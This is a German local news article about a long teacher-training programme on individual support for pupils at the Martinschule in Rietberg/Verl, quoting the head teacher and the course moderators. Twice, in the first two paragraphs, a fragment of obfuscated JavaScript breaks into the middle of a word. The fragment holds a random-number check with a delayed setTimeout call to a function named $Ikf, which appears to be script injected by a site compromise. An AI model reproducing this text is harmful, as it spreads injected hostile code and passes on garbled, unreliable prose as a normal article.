Martinschule in Rietberg fördert Schüler noch individueller

Die Martinschule Rietberg/Verl setzt noch mehr auf die individuelle Förderung ihrer Schüler. Mit einer umfangreichen Fortbildung hat das gesamte Lehrerkollegium jetzt dazu beigetragen, die Unterrichtsqualität weiterzuentwickeln. Die ungewöhnlich lang andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andauernde Fortbildungsreihe »Kinder und Jugendliche in ihrer Vielfalt fördern« ist jetzt mit einer Abschlussrunde und der Zertifikatsvergabe in der Martinschule zu Ende gegangen.

Zweieinhalb Jahre lang dauerte das Projekt, zu dem das NRW-Ministerium für Schule und Weiterbildung und dessen Kooperationspartner Bertelsmann-Stiftung eingeladen hatten. Als einzige Förderschule im Kreis Gütersloh und eine der wenigen landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andesweit hatte sich die Martinschule auf dieses Angebot eingelassen. „An unserer Martinschule war und ist es schon immer das Ziel, die Schülerinnen und Schüler möglichst individuell umfassend zu fördern“, erklärt Schulleiter Reinhard Bardt.

Dass das in längst nicht mehr so heterogenen Lerngruppen heute immer schwieriger wird, das wissen die Lehrer nur zu gut. „Wir tun schon viel in der Richtung“, ergänzt Bardt, „aber wir wollen noch etwas draufsatteln. Nicht zuletzt, um die Konkurrenzfähigkeit der Schule zu stärken.“

Das Moderatorenteam mit Katharina Homuth, Cordula Wischerhoff und Norbert Kreutzmann gestaltete die vier Module Teamentwicklung im Kollegium, Diagnostik Lernen und Lehren in enger Abstimmung mit der Schulleitung durch. Jedes Modul umfasste zweieinhalb Fortbildungstage mit insgesamt 80 Stunden.

„Martinschule Rietberg ist engagiert und kompetent“

Die Moderatoren boten systematisch Inhalte und Lernanlässe zur Weiterentwicklung des Unterrichts an, fokussiert auf die individuelle Förderung der Schüler. Weg vom Frontalunterricht, hin zu beispielsweise unterschiedlichen Lernstationen innerhalb einer Klasse. Oder: Mittels eines Helfersystems können die Schüler selbst mehr in die Verantwortung genommen werden. „Lehrer fungieren verstärkt als Lernbegleiter“, erklärt Norbert Kreutzmann.

„Die Fortbildung hat gezeigt: Es steckt noch viel Potenzial in unseren Lehrerinnen und Lehrern“, sagte Reinhard Bardt nach Übergabe der Abschlusszertifikate. „Das ist auch ein Zeichen, dass die Kollegen bereit sind, sich in ihrem Job weiter zu qualifizieren.“

„Das Kollegium hat ein deutliches Zeichen gesetzt, dass die Martinschule engagiert, kompetent und gut gerüstet in die Zukunft blickt“, lobte Dominik Bartels, Leiter der Abteilung Schule, Kultur & Sport im Rathaus, abschließend.